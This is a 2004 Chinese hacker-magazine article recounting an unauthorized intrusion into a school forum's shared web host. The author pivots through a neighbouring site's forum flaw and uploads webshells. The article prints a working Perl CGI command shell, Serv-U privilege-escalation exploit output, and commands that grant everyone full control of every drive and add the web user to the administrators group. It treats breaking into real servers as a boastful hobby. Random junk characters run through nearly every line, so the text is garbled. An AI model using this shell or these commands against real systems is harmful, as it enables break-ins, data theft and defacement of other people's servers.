剑走偏锋——灵巧的旁注攻击
0 e0 z6 c7 f; I本文作者:angel
' V7 d+ X/ k( H9 A2 L" J- n1 B文章性质:原创# D, f" u# N& B2 p
发布日期:2004-11-09 & o/ n6 B" \+ D5 t5 t
注意:( V: j2 A* r5 B! P7 T2 X) a
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。$ K" k7 D) F, l+ V+ U% j
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。! y6 n6 f8 C6 [$ M! l; U
2 A) X1 D, x, |
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
- ]- M! O6 J. Z- c: W, C, d1 Y* S! F7 M" |9 h: q- @. F
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 , z1 K' a* Y0 _% F Y1 d' ~" e- H
0 g( B2 S7 \6 m0 Z% E1 u 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 9 U* C: }- ~6 V3 H/ z
& Y: k# h. t7 W' {
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
( y' s: ~4 K# b' W, ]$ {* u6 M3 Y1 Q/ w! p: c4 \7 A( W3 |
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 * E7 F m5 w7 J3 Z# R1 v) e
5 E" l: n, ?& ` 没有目的的跳转目录着……
. L) J4 X& j; Z. Z: X9 J6 i3 I
4 f9 ]- E! z1 D L4 | 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
: h V- F% e7 R( F: C+ D" }- d; Z& Y& f# h
结束了吗?不,我试着 FTP 一下:
$ p8 @+ Q7 w9 \3 i5 s6 |/ j; i- |8 k9 {$ k2 ]3 ~/ n
Microsoft Windows 2000 [Version 5.00.2195]
, r5 G4 r7 H' C" m9 q(C) 版权所有 1985-2000 Microsoft Corp.
% P- {7 [: j( ^$ g* K- |! j
) E; \5 K+ C0 Z/ H7 D1 rC:\Documents and Settings\Administrator>ftp www.school.com
5 h' T# E8 M5 W: y4 P9 [Connected to www. school.com. % K! s" @3 B+ l, t
220 Welcome to FTP Server... ( Q4 J* _3 K+ j' s9 g
User (www.bjtrq.com:(none)): + N& s. j0 t: g3 f% J
331 User name okay, need password. 9 T5 P" \; L" z0 D/ v( T9 d' Y, S
Password:
Y7 b$ k( S. E* o. l/ }2 I6 f( K530 Not logged in.
4 m4 [* | C: j7 g& X% o+ Z* vLogin failed. $ W8 c; I. u7 u3 K* O* `
ftp> bye
4 d) y, ]1 ]4 N; I221 Goodbye!
. @3 [) Y0 d, z4 Z% \( x
$ z6 Y3 |* t! U3 a- l3 [/ y, v2 C% B. K/ z" H6 ~* V- U
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… . n0 |0 d- {4 F ~/ G( r6 U, d" W
! h) ] W% X6 {8 V: e E# k, ] 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
9 x- o( K, Y# s+ R" d6 e0 R# i5 {" V2 @7 O7 Y# h3 v& P
Application Data/ J4 C1 M, a& z0 L6 U, Q6 v
Documents
8 O+ [: G7 m: t3 ODRM
1 r h1 n$ N+ u' E5 s/ \" z% @1 ?Favorites9 E; |. O$ j& z3 T* F
Templates
9 O7 z1 Y, o8 Y" C4 \( M* g「开始」菜单
- X+ u: o" e; p" `) f: Y0 d桌面
' J' C" h- O- ^0 `1 u/ [
% K, \& W; t- U0 |9 {5 H) X& Q7 K: O# E9 d
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
& D- z1 G& ]( {; D8 ?# g/ D0 [
% N$ J; k/ P5 G: {ActiveState ActivePerl 5.8* [; Z0 |" L+ c! \* U8 i( Z( y
Administrative Tools
' z3 F6 t' l7 c: a S$ ODeerfield.com
5 h/ @+ X' F9 f9 q6 ^, B4 c1 U; iDTemp/ x/ c) ?" n5 e, ]3 b# E
IPSentry* P; q- Q7 _$ K- S6 c
MBM 5+ F! R4 M m! t0 x4 X* |$ I
NetMeter
; y1 @6 G; P" ~Network ICE
5 e; M4 `: M" ?6 y- I. U D TPersits Software AspEmail0 w- n) V0 Z: C
Persits Software AspJpeg
4 e; v' N+ T. d" K# w, D3 ?Serv-U FTP Server
. U) R" n7 y# P& lSymantec Client Security1 [$ r) U3 x7 D- m' m& v% z
Windows 优化大师) M9 T! S4 ?! c5 {
WinRAR
& Q* i: t; P8 ~: ]( \启动
; `" j% p: p; X; }: m" _# K- j3 c管理工具5 |" z9 s0 b! j9 F+ a6 S
附件
/ ^1 ?1 K) f2 d; n% i" n" _6 |- g 8 X+ L5 d7 v# [
M$ Z# r# f3 L. e3 n* o' F0 g. L 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
g7 z$ Q; M3 b
( }4 A% a8 _0 Z$ X' l: g 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
; y, c6 a* ^6 w8 A$ X1 X
. Z8 g& z+ Y) d8 K, ]" zUser281=angel|1|0 - g+ I& E$ s* a. S) D
" I% w4 ~0 D/ B! m% z
& W( ?% ?" ~3 x5 u( J
然后加上
0 n( n4 T" q) t# N S6 N+ [/ q% c* z0 k% w2 ^0 W2 H2 C
[USER=angel|1]+ U7 D/ R! b _" T6 S2 n L v& i
Password=ng98F85379EA68DBF97BAADCA99B69B805" I5 T' K0 b: U. R
HomeDir=D:\websites# J) {, \9 ~0 q1 T0 g i; u. T- F
RelPaths=1
+ M8 c8 n% z6 h: m1 i& LTimeOut=600# u6 u/ j6 h* @# C! q2 _! p7 [& Q
Maintenance=System# _/ ]2 k# G- f* f3 z
Access1=D:\websites|RWAMELCDP! j' B, F+ |) S/ N& |% Z
SKEYValues=. F7 g6 ^! V% L8 J3 B
; j' H+ Q! K) E' }7 y
/ l D3 A1 G( Z0 K 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 0 V- a6 e( a9 s; n
6 D( W$ a! z) y) ]0 R/ j; j 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ) X+ D6 y: ^3 ~5 B2 \4 O4 s
/ `: M, ?1 L( p% a
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 1 `2 T& |, }) s& N/ d$ J
' t4 {" T9 e: }' \" S( W1 x 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
3 \0 z/ t) u, `4 }
; A& O; s+ @7 _# l2 q& g; T7 Y7 `#!/usr/bin/perl
, O6 j8 X- S+ u) {binmode(STDOUT);5 M9 r$ S: z4 p. y
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
* `; _7 x) g& Q8 q) H. b4 l; n' F$_ = $ENV{QUERY_STRING};3 ^) X* b# x9 O, G' n& @
s/%20/ /ig;5 u8 R- _5 Y- N- W& u2 i
s/%2f/\//ig;. X; x5 l) t% D
$execthis = $_;
% Q/ D" D H4 A9 a) S, _# L9 e9 [7 u: Tsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
+ e9 y9 h/ j* g% H0 nopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";, y) ~; |; A# r4 W8 G- M
system($execthis);
2 V% R, r6 L3 ?- H5 S$ f# b7 Xsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
* Z7 w2 p- j( ?6 pclose(STDERR);: I8 P( D# G" k6 e5 j+ S2 f! u$ Q
close(STDOUT);
! E. [2 C/ ]1 V9 b8 Q/ C3 Dexit;
4 z/ S' L d c; c0 V $ |4 J6 i& f" ^% J
1 F' O7 U) P; |9 U
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
& Z8 }! l0 G7 O. ^: z# T0 G0 g, {
9 `: s: _2 \& W 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
$ d: C( A7 d; z' a, O$ |
9 F, o6 F% ]7 ~( c# Y# M2 ^http://anyhost//cmd.pl?d:\user\bin\su.exe 4 m/ N7 `$ {/ S. n
" L9 S- \) z( o S
3 F8 o8 I5 v8 x9 N: J 返回:
8 x. v- p6 U( s3 U. G, O; d2 d% @& E$ i' @( M
Serv-u >3.x Local Exploit by xiaolu
6 z( U7 C1 }) N" H& L' l6 ~
9 Z, C' T( N- C% CUSAGE: serv-u.exe "command" 1 c7 k& P; l$ T. \8 b
6 m0 R$ `: X9 F& x+ M: \' ZExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" . e+ s! r; Q, Y5 V! q0 y5 C& @
! ~: @3 I1 T p8 }' v: Y8 l# M. R5 ]6 Z4 r9 q, X
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 0 Z0 y* c! h/ G3 ~: r/ @
% ~1 I3 u9 s% i* L1 J
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 0 T: G: Q( |& R! D! c" i+ P+ m
: ?& u9 i. f w U+ r7 z+ r
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ( \6 L' s" \0 B4 @( h
/ p: |. ]( p+ Z/ }# ?http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
" R2 L# I! V1 y+ c9 B' w @2 e4 _8 P1 ]$ G. z3 F5 i, A
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
$ D1 y& G- A/ \- d
; i* t: K7 T7 e- _: d; g9 `
0 F- l# F( a; s( W9 S 返回下面的信息,就表示成功了!!! 3 h+ @2 z0 M! H8 O; g3 O0 x
& \4 d3 }* i3 ^- ~Serv-u >3.x Local Exploit by xiaolu
0 L& g$ y; |' H2 A
& ^& e9 M& {! P- c3 P) \$ x<220 Serv-U FTP Server v5.2 for WinSock ready...
- V4 U, s1 j7 {' a" o5 b N" [' A$ {* t( @/ u4 B+ u$ m
>USER LocalAdministrator
& V0 y# {8 b u% r% t
( V! b& w2 I" h<331 User name okay, need password.
9 v% A1 I1 Y1 ^4 Q$ Z1 r3 L# Y/ W0 v, o6 _& }7 N# a# H
****************************************************** k& A$ K a P. E+ t
7 c" X3 [6 O. U% J8 h6 T- A; D
>PASS #l@$ak#.lk;0@P 6 c9 f0 @: y5 ^/ H
8 g/ x4 w4 E8 H1 G* [ j<230 User logged in, proceed. K5 k! {0 q" s% K
2 m! @1 t9 P9 c& H5 x! v2 I******************************************************
/ e# k4 a" R: @% T3 k' ~, W3 Z6 E& e A0 g" B4 ?
>SITE MAINTENANCE
$ V. t! `) j5 b- X. f P# l3 U5 v7 O% W! t2 f+ E; n
****************************************************** # N- p2 n$ r \# N
- X( y. [( C! C$ K1 M
[+] Creating New Domain... / U n, `6 a$ U, i6 @( ?
5 u: A- _( M0 n% ~<200-DomainID=2
% a# Q: c# x5 [6 l7 ]" U
( R8 l8 U" f& l* }3 F<220 Domain settings saved 9 n- T9 B2 j, H% v9 f- Y2 g, C
) o0 m; F! R& v****************************************************** 5 l* G" i0 \6 f7 b0 |5 p9 {
) k+ I! I7 M% d( N[+] Domain xl:2 Created 1 j8 E0 D4 X( N7 {1 i. L3 C
5 }2 o1 y1 n S2 P: F# t[+] Creating Evil User
! T# O5 k2 T; P% ]( O5 ?9 h3 F2 t! w7 v
<200-User=xl
; o1 h! W: W+ ~- I. f8 g) F* n0 p$ F2 D; A4 S6 k# I% w; z% b& Q& P
200 User settings saved
. D2 T' F s: }8 l
* Z& b0 J6 M' \3 f5 L* v* M****************************************************** / y6 a) `+ R8 M2 A7 n0 D6 F H
6 T( f" M0 \$ j. R+ v6 B
[+] Now Exploiting...
* s- J+ ~" I d% ?" N7 i( V( D; z, _, o8 r: W8 x' V# T, j$ {7 ?, G
>USER xl
. T$ h b. U2 G' Y
6 l3 O& x' h* {<331 User name okay, need password. $ a w6 \6 h+ o# R* `9 W
9 u3 }- y( U8 P1 b, A****************************************************** 5 L* v8 H' r t) z. D
$ a% ^/ J2 g+ @
>PASS 111111
! ]: x" `' X D1 O/ l
7 M+ @1 p/ D0 t' J<230 User logged in, proceed. , J" `" ~: p) g& p
: H2 U% D6 O2 b% o9 Q( {****************************************************** / C" f( s: a: r4 U8 A g
; O" r2 i+ Q* l0 t& ]% B0 H
[+] Now Executing: cacls.exe c: /E /T /G everyone:F " H: v* A- M1 K$ s1 B" V2 j
$ \/ Y5 O; h; W<220 Domain deleted 2 Y% V6 S4 M2 n7 x2 Y
7 E0 D+ g. F* l; m4 h! k% h( J
******************************************************
6 s9 w4 O q! q( k( K, v# G 8 a1 B6 v! R, F8 d7 i
% H) z, e( R. {/ m' q5 b7 U 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: # q+ b# i$ h* i+ N' }
8 b5 i/ w$ ~8 t* p0 [# i3 R! G
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ' O6 U- S. Q$ B; ^$ I! y% A
" L8 K/ j! o( l) }! G5 I
J' h* t0 Q& e
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 % F+ R0 w3 J- P5 j# }1 |( s1 ~7 L
) |0 P8 N1 L' J- ?& n; E* q
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。0 m4 e- B: B( y
/ B# Q5 y5 }! k; R- `& u . h' `3 D9 f0 j( ~
|